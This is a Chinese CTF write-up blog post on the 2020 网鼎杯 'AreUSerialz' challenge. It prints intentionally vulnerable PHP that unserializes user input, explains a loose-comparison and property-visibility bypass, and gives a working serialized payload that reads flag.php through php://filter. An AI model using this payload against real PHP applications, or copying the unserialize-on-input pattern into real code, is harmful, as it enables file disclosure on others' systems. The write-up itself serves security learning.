[网鼎杯 2020 青龙组]AreUSerialz 1

题目源码

 1 <?php
 2 
 3 include("flag.php");
 4 
 5 highlight_file(__FILE__);
 6 
 7 class FileHandler {
 8 
 9     protected $op;
10     protected $filename;
11     protected $content;
12 
13     function __construct() {
14         $op = "1";
15         $filename = "/tmp/tmpfile";
16         $content = "Hello World!";
17         $this->process();
18     }
19 
20     public function process() {
21         if($this->op == "1") {
22             $this->write();
23         } else if($this->op == "2") {
24             $res = $this->read();
25             $this->output($res);
26         } else {
27             $this->output("Bad Hacker!");
28         }
29     }
30 
31     private function write() {
32         if(isset($this->filename) && isset($this->content)) {
33             if(strlen((string)$this->content) > 100) {
34                 $this->output("Too long!");
35                 die();
36             }
37             $res = file_put_contents($this->filename, $this->content);
38             if($res) $this->output("Successful!");
39             else $this->output("Failed!");
40         } else {
41             $this->output("Failed!");
42         }
43     }
44 
45     private function read() {
46         $res = "";
47         if(isset($this->filename)) {
48             $res = file_get_contents($this->filename);
49         }
50         return $res;
51     }
52 
53     private function output($s) {
54         echo "[Result]: <br>";
55         echo $s;
56     }
57 
58     function __destruct() {
59         if($this->op === "2")
60             $this->op = "1";
61         $this->content = "";
62         $this->process();
63     }
64 
65 }
66 
67 function is_valid($s) {
68     for($i = 0; $i < strlen($s); $i++)
69         if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
70             return false;
71     return true;
72 }
73 
74 if(isset($_GET{'str'})) {
75 
76     $str = (string)$_GET['str'];
77     if(is_valid($str)) {
78         $obj = unserialize($str);
79     }
80 
81 }

 

审计源码发现,我们可以传递一个str参数,如果能通过is_valid(),则将其反序列化

我们再来看看这个函数,如果参数中的每一个字符的ASCIi码值都在32~125的范围内,则return true

其实到这里解题思路已经明确了:

我们要构造一个payload去使得执行read()方法,来使flag.php的内容显现出来

在反序列化的过程中会调用__destruct()方法

1 function __destruct() {
2     if($this->op === "2")
3         $this->op = "1";
4     $this->content = "";
5     $this->process();
6 }

如果op === "2",则会将其赋值为",此处为强类型比较

同时content为空,再调用process()方法,查看该方法可知,如果op == "1",则会进入write()方法,显然不是我们预期的结果,op == “2”,就会进入read()方法,正是我们的目的,值得注意的是,在这个方法中的比较是弱类型比较,也就是说如果将op赋值为int类型的2,则op === "2"为false,op == "2"为true,正好达到了我们的目的,进入了read()方法

1private function read() {
2    $res = "";
3    if(isset($this->filename)) {
4        $res = file_get_contents($this->filename);
5    }
6    return $res;
7}

filename是我们可以控制的,接着使用file_get_contents函数读取文件,我们此处借助php://filter伪协议读取文件,获取到文件后使用output函数输出

private function output($s) {
     echo "[Result]: <br>";
     echo $s;
}

整个利用思路就很明显了,还有一个需要注意的地方是,$op,$filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验

有一种简单粗暴的方法,php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可

public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content;

进行反序列化得到

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

将其赋值给str即可得到flag.php的内容,解码即可得到flag

 

posted @ 2021-11-22 17:55  r1kka  阅读(729)  评论(0)    收藏  举报